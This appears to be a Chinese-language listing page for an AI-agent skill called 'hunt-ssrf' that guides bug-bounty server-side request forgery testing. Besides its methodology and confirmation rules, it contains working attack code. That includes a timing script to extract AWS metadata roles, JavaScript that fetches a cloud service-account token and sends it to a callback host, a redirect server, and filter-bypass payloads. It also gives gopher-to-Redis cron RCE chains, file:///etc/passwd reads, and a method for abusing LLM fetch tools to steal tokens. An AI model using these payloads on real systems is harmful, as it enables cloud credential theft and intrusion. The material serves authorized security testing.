关于 hunt-ssrf
hunt-ssrf 是供 Web 安全测试人员搜寻服务器端请求伪造的技能,针对 URL 抓取、导入、预览和 Webhook 等入口。它要求先通过带外 DNS 或 HTTP 回连证明服务器发起了请求,再测试内部目标。
主要功能
- 01梳理接受 URL 的功能入口
- 02先用带外回连确认服务器请求
- 03测试云元数据和内部服务
- 04检查重定向及无头浏览器场景
- 05提供源码检索与证据记录方法
适用场景
- 01测试链接预览和远程文件导入
- 02检查 Webhook 注册端点
- 03验证云主机元数据访问风险
- 04评估 PDF 生成器对内部网络的访问
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-ssrf安装后在 Claude Code 中输入/hunt-ssrf确认已加载。
详细介绍
适用场景
当目标具有获取 URL、从远程来源导入数据、生成预览/截图、处理 Webhook 或渲染文档等功能时使用。SSRF 会让攻击者诱使服务器自行发起网络请求,访问内部服务、云元数据端点以及其他无法直接访问的基础设施。每个链接预览、文件导入、图片代理、Webhook 注册、PDF 生成和重定向跟随端点都可能成为目标。最有价值的目标:云托管 SaaS、Kubernetes/编排平台、CI/CD 系统以及获取 URL 的功能。
核心目标
当目标运行在云基础设施(AWS、GCP、Azure)上,且元数据服务会暴露凭据;或者服务器位于复杂的内部网络(Kubernetes 集群、微服务网格、内部 API)中时,SSRF 的价值最高。优先目标:
- 云托管 SaaS 产品(GCP 元数据
[REDACTED_IP]或metadata.google.internal、AWS IMDSv1) - Kubernetes/编排平台——聚合 API 服务器、metrics-server、kubelet 端点会暴露特权集群操作
- 内部开发者工具——CI/CD、工作流编排(Flyte、Argo)、未对外开放的管理面板
- 链接预览 / URL 获取功能——类似 Reddit 的预览 API、类似 Slack 的链接展开、媒体处理器
- 数据集/文件导入管道——任何代表用户获取远程 URL 的功能
- 企业级自托管软件(GitHub Enterprise、GitLab)——SSRF 经常通过内部服务进一步利用为 RCE
当 SSRF 可触及以下目标时,奖励最高:云凭据 → 账户接管、内部管理 API → 数据窃取,或进一步利用为 RCE。
OOB 确认门槛(请先阅读)
声称存在盲 SSRF,必须通过带外(OOB)方式确认。始终如此,绝无例外。
OOB 指:Burp Collaborator 域名、interactsh-client 监听器、canarytoken,或任何由你控制、能确认服务器确实代表你发起了出站网络连接的 DNS+HTTP 接收器。
以下情况不算 SSRF 确认
- 服务器在错误消息中回显你的 URL。例如:
"The Web application at http://evil.example.com/x could not be found"——这只是服务器将你的输入格式化为错误字符串,并不代表它发起了出站 HTTP 请求。错误来自字符串格式化,而非网络故障。 - 对外部 URL 和
localhost返回不同的状态码。不同的错误响应可能来自 URL 方案验证器,而非实际获取 URL。 - 发送 URL 后响应有所延迟。延迟可能源于解析器尝试进行 DNS 解析,而非已完成的 HTTP 获取。
以下情况算 SSRF 确认
- OOB 监听器中出现了对你独有的 Collaborator 子域名的 DNS 查询。
- 你的 Collaborator HTTP 端点收到 HTTP 请求,其中包含服务器的源 IP 和 User-Agent。
- 在 JavaScript 执行上下文(PDF 渲染器、无头浏览器)中发现 SSRF 时,服务器向你的回调 URL 发起了 fetch。
默认工作流
- 先植入 Collaborator 子域名(根据接收点添加子标签:
dlsrcurl.<collab>、import.<collab>等,这样回调就能告诉你是哪个接收点触发的)。 - 向目标端点发送请求。
- 等待 30–120 秒,然后轮询 OOB 监听器。
- 只有确认收到回调后,才能声称存在 SSRF。
- 如果所有带子标签的接收点都没有回调:必须撤回 SSRF 声称,即使错误消息中回显了 URL 也不例外。
一次经授权的测试所得到的教训: SharePoint 的 /_layouts/15/download.aspx?SourceUrl= 返回了 500 错误,标题为 "The Web application at <attacker-URL> could not be found"。初步扫描将其标记为 SSRF(服务器显然处理了该 URL)。在 12 个以上接受 URL 的参数中发送了 38 个带 Collaborator 标签的有效载荷,却没有产生任何 DNS 或 HTTP 交互。这种“回显”只是客户端格式化错误字符串;服务器从未发出出站 HTTP 请求。该路径实际上是 SharePoint 内部的 SPFile/SPWebApplication 解析器,并非通用 URL 抓取器。在分流审核时,将其报告为 SSRF 会被判定为不适用。
攻击面信号
值得排查的 URL 模式
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
JS 模式(客户端代码中)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
响应头信号
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
技术栈信号
- Kubernetes — 任何面向公网的聚合 API、指标端点
- GCP — 任何运行在 Compute Engine/GKE 上并抓取 URL 的服务
- Node.js/Python 搭配 URL 抓取库(
requests、node-fetch、axios) - 无头浏览器(Puppeteer、PhantomJS)用于截图/PDF——价值极高
- XML/DSPL/CSV 导入功能 — 类似 XXE 的 SSRF 向量
- OAuth/webhook 注册端点
分步狩猎方法
-
梳理目标中的所有 URL 输入参数:检查 JS 文件中的 fetch 调用,查看所有 API 文档,并查找文件导入、链接预览、webhook、图片代理和重定向功能。
-
设置带外检测服务器:使用 Burp Collaborator、interactsh 或
https://canarytokens.org——每次测试都需要一个唯一的 DNS/HTTP 回调域名。 -
先将回调 URL 作为参数值发送(首先检查盲 SSRF):
url=https://YOUR.interactsh.com/test确认服务器发起了出站连接。这能证明请求已执行,然后再尝试访问内部目标。
-
测试内部云元数据端点:
- GCP:
http://metadata.google.internal/computeMetadata/v1/ - AWS:
http://[REDACTED_IP]/latest/meta-data/ - Azure:
http://[REDACTED_IP]/metadata/instance
- GCP:
-
测试 localhost 和常见内部端口:
http://localhost/ http://127.0.0.1:8080/ http://127.0.0.1:6443/ (Kubernetes API) http://127.0.0.1:2379/ (etcd) http://127.0.0.1:9090/ (Prometheus) http://127.0.0.1:9200/ (Elasticsearch) -
检查基于重定向的 SSRF——如果端点验证初始 URL,但会跟随 30x 重定向,则搭建一个指向内部地址的重定向服务器。Kubernetes 报告(报告 3)就是由被劫持的 API 服务器返回 30x 响应触发的。
6b. 时间预言机——从 IMDS 盲提取数据——当确认存在 SSRF,但不会返回响应内容时(例如,WordPress pingback.ping 的 faultCode 为 0),利用时间差枚举 AWS IAM 角色,并逐字符提取 IMDS 元数据:
import subprocess, time
def ssrf_time(url):
xml = f'''<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://target.com/</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
"https://target.com/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# IMDS response size correlates with timing
baseline = ssrf_time("http://[REDACTED_IP]/latest/meta-data/")
# Role exists = JSON payload (slower), 404 = tiny response (faster)
for role in ["admin","ec2","s3","lambda","ecs","SSM-Role","EC2Role"]:
t = ssrf_time(f"http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/{role}")
print(f" {role}: {t:.3f}s -> {'FOUND' if t > baseline*1.15 else '404'}")
**现场证据(retail.example.com,2026 年 6 月):**IMDS /meta-data/ = 344ms,/iam/security-credentials/ = 435ms,/instance-id = 301ms。响应时间随响应大小成比例变化,因此可以盲提取 IAM 角色和元数据内容。
**注意事项:**网络抖动会导致 ±50ms 的偏差。每项测试运行 3 次,并取中位数。如果基线方差超过 20%,则跳过。
-
测试 JavaScript 执行环境(无头浏览器、PDF 渲染器):
- 注入
<script>标签,使其通过XMLHttpRequest或fetch()调用内部服务 - 通过 DNS 外传数据:将响应数据编码到回调域名的子域名中
- 注入
-
利用时间差和错误消息变化枚举内部网络:
- 通过响应时间扫描端口(
connection refused与超时) - 检查错误消息是否泄露主机名/IP
- 通过响应时间扫描端口(
-
串联发现——如果 SSRF 可访问内部服务,请查找:
- 未经身份验证的管理端点
- Redis、memcached(协议混淆)
- 内部 OAuth 令牌端点
- SSRF → CSRF → RCE(GitHub Enterprise 模式)
-
记录完整攻击链:报告前为每一步截图。
载荷与检测模式
基本带外检测
# Using interactsh-client
interactsh-client -v
# Test parameter
curl --max-time 30 --connect-timeout 10 -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF
curl --max-time 30 --connect-timeout 10 -s "https://target.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"https://YOUR_ID.oast.pro"}'
云元数据载荷
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://[REDACTED_IP]/computeMetadata/v1/project/project-id
# AWS IMDSv1 (no auth required)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
http://[REDACTED_IP]/latest/user-data
# Azure
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
Localhost/内部端口载荷
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubelet
http://127.0.0.1:2379/v2/keys # etcd
# Common internal services
http://127.0.0.1:6379/ # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:5601/ # Kibana
http://127.0.0.1:8500/v1/catalog/services # Consul
基于重定向的 SSRF(直接访问被阻止时)
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://[REDACTED_IP]/latest/meta-data/')
self.end_headers()
HTTPServer(('192.0.2.1', 8080), Redirect).serve_forever()
基于 JavaScript 的 SSRF(无头浏览器环境)
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://[REDACTED_IP]/latest/meta-data/');
x.send();
x.onload = function(){
var img = new Image();
img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
源代码审查的 Grep 模式
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf 参数发现
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
-fs 0 -mc all
常见根本原因
-
“用户说这是安全的” — 开发者信任用户提供的 URL,并用其获取远程资源(链接预览、缩略图、Webhook),却不验证目标地址。该功能本身合理;缺少验证才是漏洞。
-
通过重定向绕过允许列表 — 开发者会根据允许列表验证初始 URL,却将 HTTP 客户端配置为自动跟随重定向。攻击者在允许列表中的服务器会将请求重定向到内部地址。
-
信任聚合/代理 API — 类似 Kubernetes 的架构中,API 聚合层会盲目代理已注册扩展服务器返回的 30x 响应。攻陷单个扩展服务器即可对核心 API 发起 SSRF。
-
未进行沙箱隔离的服务端渲染 — 无头浏览器功能(PDF 生成、链接预览截图)会在具有网络特权的环境中执行攻击者控制的 JavaScript,并可访问元数据服务。
-
XML/DSPL/文件解析器获取外部实体 — 解析结构化文件(XML、DSPL、带远程架构的 CSV)的导入功能会获取攻击者控制的 URL,且通常完全不验证 URL。
-
通过响应差异泄露内部主机名 — 对于内部主机和外部主机,服务会返回不同的错误消息、响应时间或响应大小。即使不返回内容,攻击者也能借此进行盲枚举。
-
仍启用 IMDSv1 — 尚未迁移到 IMDSv2(AWS)或未要求提供
Metadata-Flavor标头(GCP)的云部署,允许任何 SSRF 未经身份验证即可访问凭证。
绕过技术
绕过阻止列表(阻止 localhost、127.0.0.1、169.254.x.x 时)
# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:[REDACTED_IP]]/
# Decimal/octal/hex encoding of IP
http://2130706433/ (127.0.0.1 decimal)
http://0x7f000001/ (127.0.0.1 hex)
http://0177.0.0.1/ (octal)
http://127.1/ (short form)
http://0/ (resolves to 192.0.2.1)
# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html
# Subdomain pointing to internal IP
http://localtest.me/ (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)
# URL parser confusion
http://[email protected]/
http://127.0.0.1#evil.com
http://127.0.0.1%[email protected] (URL encoding)
http://evil.com\.127.0.0.1/ (backslash)
# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/
# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://[REDACTED_IP]/
# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%[email protected]/
绕过架构/协议限制
# When only http/https allowed but implementation is loose
http://[REDACTED_IP]:[email protected]/
//[REDACTED_IP]/
TOCTOU(检查时与使用时)
- 验证 URL → 等待 → 重定向到内部地址(与 DNS 重绑定形成竞态条件)
- 注册 TTL 为 0 的域名,在验证与获取请求之间轮换 DNS
不返回响应时(盲 SSRF)
- 使用仅 DNS 回调(将数据编码在子域标签中)
- 利用时间差异扫描端口
- 使用不同的 HTTP 方法(PUT/DELETE),在内部服务上触发不同的行为
- 与其他可泄露响应数据的漏洞串联(例如错误消息、日志)
Gate 0 验证
提交报告前,请确认以下三点:
-
攻击者现在能做什么?
- 能否获取证明可访问内部网络的响应?(展示元数据令牌、内部 API 响应或已确认的 DNS 回调)
- 如果是盲 SSRF:能否证明端口差异,或证明与特定内部地址相关联的带外回调?
- 仅仅说“服务器发起了请求”并不足够——请展示请求发往哪里以及返回了什么。
-
受害者会失去什么?
- 云凭证(IAM 令牌)→ 完全攻陷云账户?
- 内部服务数据(用户个人身份信息、机密、API 密钥)?
- 能否通过内部管理服务进一步获取 RCE?
- 如果答案仅为“服务器获取了我的 URL”,则严重性较低——请量化实际可触达的影响范围。
-
能否从头开始在 10 分钟内复现?
- 易受攻击的端点是否仍然可用,相关参数是否仍然存在?
- 回调服务器是否能稳定显示请求(而非间歇性显示)?
- 第二个人能否在没有背景知识的情况下按照你的步骤操作,并得到相同结果?
- 如果复现需要特定时机、令牌或运气,请在提交前排除不稳定因素。
真实影响示例
场景 A:通过链接预览窃取云凭据(Snapchat/GCP 模式)
一个面向公众的“链接预览”API 接受 url 参数,并在服务器端获取目标内容以生成缩略图。该功能运行在启用了 IMDSv1 的 GCP Compute Engine 上,且服务器端未强制要求 Metadata-Flavor 标头。攻击者提供 url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token,便获得了该实例服务账号的有效 OAuth2 访问令牌。该令牌可访问内部 GCP 项目资源,包括存有用户数据的存储桶。攻击者在无头渲染环境中执行 JavaScript,通过以 DNS 编码的子域名窃取令牌,绕过了响应正文限制。
场景 B:通过被劫持的聚合服务器攻陷 Kubernetes API(Kubernetes 模式)
一名能够注册 Kubernetes API 扩展服务器(相当于 metrics-server)的攻击者,向聚合层返回 302 Location: http://127.0.0.1:6443/api/v1/secrets 响应。由于聚合代理会自动跟随重定向,且不会根据内部网络拒绝列表重新验证目标地址,该重定向导致聚合层本身(以较高权限的集群凭据运行)获取内部 Kubernetes API 密钥,并在响应中返回这些内容。这实际上使仅拥有有限 API 注册权限的攻击者能够升级为完整的集群密钥读取权限——这是通过受信任的基础设施组件串联 SSRF 实现的严重权限提升。
已披露报告引用(补充 +6 — 2018-2024)
以下真实且经核实的漏洞赏金 / 协调披露案例进一步扩展了此技能。其中涵盖了三家云服务提供商的云元数据 SSRF、DNS 重绑定、gopher-to-Redis-RCE、链接预览 SSRF,以及无头浏览器 / PDF 生成器攻击链。
-
HackerOne — Analytics Reports 中的 SSRF(PDF 生成器 → AWS 元数据)(H1 #2262382 · Writeup)
- 子类型:无头浏览器 SSRF(PDF 生成器)→ AWS 元数据 SSRF(IMDSv1)
- 载荷:将
<iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">注入模板元素;后端 Ruby 循环在服务器端将不可信模板 HTML 渲染为 PDF,并将 IMDS 响应反映在生成的 PDF / 错误消息中 - 根本原因:未经净化的用户可控模板片段被反映到 PDF 渲染流程中;未强制使用 IMDSv2
- 年份:2023 — $25,000(CVSS 10.0 严重)
-
Shopify Exchange — 截图服务中的 SSRF → GCP 元数据 → 容器 root 权限(H1 #341876)
- 子类型:GCP 元数据 SSRF → SSRF-to-RCE 攻击链
- 载荷:在 partners.shopify.com 上创建商店,编辑
password.liquid模板以嵌入对http://metadata.google.internal/computeMetadata/v1/的请求,并附带Metadata-Flavor: Google,然后触发 Exchange 截图服务在服务器端渲染该模板 - 根本原因:截图服务获取用户可控模板时,既未屏蔽元数据主机,也未使用元数据隐藏代理
- 年份:2018 — $25,000(典型的无头浏览器 → 元数据攻击链)
-
Concrete CMS — 通过 DNS 重绑定绕过 SSRF 缓解措施 → AWS IAM 密钥(H1 #1369312)
- 子类型:DNS 重绑定 SSRF → AWS 元数据 SSRF(IMDSv1)
- 载荷:从 URL 上传文件功能;攻击者的 DNS 服务器在
[REDACTED_IP](公网)和[REDACTED_IP]之间交替返回A记录;需发送 2-3 次请求才能在验证与获取之间的竞速中胜出;最终请求获取了 IAM 角色凭据 - 根本原因:仅通过解析一次来验证主机名;下载路径重新解析 DNS,却未固定已验证的 IP
- 年份:2021 — 已在 8.5.7 / 9.0.1 中修复
-
Yahoo Mail — Blind SSRF → Gopher → Redis RCE (Writeup)
- 子类:Gopher 协议滥用 → Redis SSRF → SSRF-to-RCE 链
- Payload:Yahoo Mail 后端中的 Blind SSRF,通过
gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE触达——通过 Redis 写入 cron 任务以执行命令 - 根本原因:未将 gopher scheme 列入阻止列表;内部 Redis 在默认端口上未启用身份验证;SSRF 目标接受从攻击者主机重定向到
gopher://的 302 响应 - 年份:2020 — $15,000
-
Reddit Matrix —
preview_urlAPI 中的 Blind SSRF (H1 #1960765)- 子类:链接预览 SSRF(Blind,通过时序/响应码进行内部端口扫描)
- Payload:
GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/— 遍历不同的内部 IP/端口;修复前,服务名称和 IP 会通过不同的响应泄露 - 根本原因:链接预览抓取器未拒绝 RFC1918/链路本地目标;仅按 scheme 设置允许列表
- 年份:2023 — $6,000
-
Azure DevOps — Service Hooks 中的 SSRF + endpointproxy 中的 DNS rebinding 绕过 (Binary Security writeup)
- 子类:Webhook URL 字段 SSRF + DNS rebinding SSRF → Azure IMDS/托管身份
- Payload:将服务钩子 Webhook URL 或
endpointproxyURL 参数设为攻击者的 rebinding 主机;第二次解析返回[REDACTED_IP];再串联 CRLF 注入,设置 Azure IMDS 所需的Metadata: true请求头 - 根本原因:先验证再抓取时使用了独立的 DNS 查询;URL 路径中的 CRLF 注入了 Azure IMDS 所需的请求头
- 年份:2023-2024 — 3 份报告合计 $15,000
验证
运行此自检,确认已准备好进行 SSRF 漏洞搜寻:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-ssrf" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
所有 3 项测试都会验证技能结构正确且可供使用。
常见陷阱
- 仅有 DNS 回连的 SSRF — 来自目标服务器的 DNS pingback 可以证明存在 SSRF,但无法证明其影响。需要 HTTP 响应数据、云元数据访问或内部服务交互。
- 未经确认的 Blind SSRF — 发送请求但不读取响应属于 Blind SSRF。通过 Collaborator/OOB 回调进行验证。
- SSRF 指向 localhost,但没有开放端口 — 触达 127.0.0.1 可以证明存在 SSRF。还需要证明可以访问有用的服务(元数据、管理服务、数据库)。
- URL 验证绕过 —
http://[email protected]或http://0x7f000001可以绕过简单的 URL 解析器。测试多种绕过技术。 - 云元数据访问 — 192.0.2.1 是 SSRF 的终极目标。提取一份 IAM 凭证即可达到严重级别。
相关技能与攻击链
cloud-iam-deep— SSRF 是访问云元数据服务的典型入口。攻击链原语:SSRF → IMDSv1 令牌窃取 →cloud-iam-deep权限提升,进而通过跨账户角色获取iam:CreateUser/sts:AssumeRole权限。hunt-cloud-misconfig— 可通过 SSRF 出站访问原本仅限内部的存储桶/API。攻击链原语:SSRF + DNS 重绑定 → 绕过 SSRF 保护的端点 → 读取内部 /admin 或私有 S3 存储桶。hunt-llm-ai— 配备 fetch_urltools 的大模型会成为 SSRF 代理,从而绕过网络出站控制。攻击链原语:大模型工具调用(fetch_url)+ SSRF → 攻击者 URL 从大模型容器中窃取聊天记录和 IMDS 令牌。hunt-rce— 内部 Redis/Memcached 默认未启用身份验证,且可通过 gopher:// 访问。攻击链原语:SSRF + Gopher → 内部 RedisCONFIG SET dir+ 通过写入 cron / SSH authorized_keys 实现 RCE。hunt-cloud-misconfig— 可通过 SSRF 出站访问原本仅限内部的存储桶/API。攻击链原语:SSRF + DNS 重绑定 → 绕过 SSRF 保护的端点 → 读取内部 /admin 或私有 S3 存储桶。security-arsenal— 测试过滤器前,加载 SSRF IP 绕过表(11 种技术:十进制 IP、IPv6 映射、八进制、后缀点、DNS 重绑定、重定向链等)。triage-validation— 执行 OOB-Or-It-Didn't-Happen 门槛:每项盲 SSRF 声明都必须在提交报告前,使用唯一标记获得 Burp Collaborator 命中记录。
阶段 X — 云元数据目录
| 提供商 | 元数据端点 |
|---|---|
| AWS IMDSv1 | http://[REDACTED_IP]/latest/meta-data/ |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
| Azure | http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01 |
| DigitalOcean | http://[REDACTED_IP]/metadata/v1.json |
| Alibaba Cloud | http://[REDACTED_IP]/latest/meta-data/ |
通过 Gopher 协议利用 Redis/FastCGI 实现 RCE:
gopher://127.0.0.1:6379/_SET%20crack%20test%0d%0aCONFIG%20SET%20dir%20/var/www/html